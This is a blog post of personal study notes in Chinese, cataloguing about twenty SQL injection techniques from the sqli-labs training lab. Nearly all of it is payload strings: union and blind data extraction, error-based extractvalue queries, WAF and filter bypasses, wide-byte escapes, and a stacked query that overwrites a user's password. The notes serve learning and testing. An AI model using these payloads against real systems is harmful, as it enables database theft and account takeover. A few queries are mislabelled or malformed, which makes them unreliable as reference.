三、根据sqlilab靶场总结的SQL注入基本类型

******所有文章均作为本人学习自留笔记,请勿用于恶意攻击,若读者违反中华人民共和国信息安全法,与本人无关。后续文章将不再进行提醒******

1. 基于错误的单引号字符型注入

id=1' order by 4--+

id=1' union select 1,2,3--+

id=1' union select 1,2,(select database())--+

id=1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

id=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=xxx and table_schema=database()--+

id=1' union select id,usrname,password from users limits 4,1--+

2. 基于错误的数字型注入

去掉单引号,其他不变

3. 基于时间的get盲注

id=1' and length(database())=8--+

id=1' and substr(database(),1,1)="a"--+

id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6--+

id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)="a"--+

id=1' and (select count(column_name) from information_schema.columns where table_name=xxx)=1--+

id=1' and substr((select column_name from information_schema.columns where table_name=xxx limit 0,1),1,1)="a"--+

id=1' and (select length(concat(id,"-",email_id)) from database() limit 0,1)=18--+

id=1' and substr((select concat(id,"-",email_id) from database() limit 0,1),1,1)="a"--+

4. 基于错误的用户代理,头部post注入

注入点在User-Agent报文处,可尝试报错注入

id=1' and substr((extractvalue(1,concat(0x7e,(select database()),0x7e))),1,1)--+

5. 基于头部Referer Post报错注入

注入点在报文的Referer处

6. 基于错误的cookie头部post注入

cookie处sql注入重投需要携带cookie值并以GET形式进行BP重投

7. cookie注入,基于base64编码

构造注入语句之后,使用base64位编码工具编码即可使用

8. 注释过滤

id=1' union select 1,2,3 and '1'='1

9. 过滤了and和or

双写绕过,aandnd 以及 oorr

10. and和or过滤的盲注

手法相同9,不能使用报错注入

11. 过滤注释和空格

最后的单引号闭合可以使用%00截断

此时不要考虑特殊的空格字符编码,基本行不通,在上一种情况的基础之上,使用报错注入,并且使用括号来代替空格的作用:

id=1' aandnd extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database()),0x7e)));%00

12. 过滤了空格和注释的盲注

结尾使用%00截断,其他手法与上一类型相同11

13. 过滤了union和select的GET

大小写绕过,00截断,%0A代替空格

14. 过滤了union和select的盲注

手法同13,只不过改成了盲注的形式

15. 整体过滤了‘union select’

双写一边即可:unionunion%0Aselect%0Aselect

16. 基于WAF的错误:HTTP参数污染

id=1&id=-1' union select 1,2,3--+

17. 宽字节注入,特殊符号被转义(函数:preg_quote())

条件:字符集设置为gbk

尝试%df,看是否出现汉字

加上反斜线之后:%df%5c%27, 在MySQL中,前两个字符会被认定为汉字,因而后边的单引号逃逸

只要低位范围中存在0x5c的编码,就可以进行宽字节注入

id=-1%df' union select 1,2,3--+;

18. 函数变为addslashes(), 同17

19. 堆叠注入:使用分号连接多条指令以执行任意指令

id=1'; update users set password='123456' where username='Dumb'--+

20 基于排序的报错注入

sort=1,输出为排序的表格

sort=1',报错,可使用报错注入

sort=1 desc/asc 进行排序

sort=(其中跟报错注入或者时间盲注)

21. 排序与堆叠注入相结合的基于时间的盲注

posted @ 2023-06-13 20:47  冰凌iceling  阅读(83)  评论(0)    收藏  举报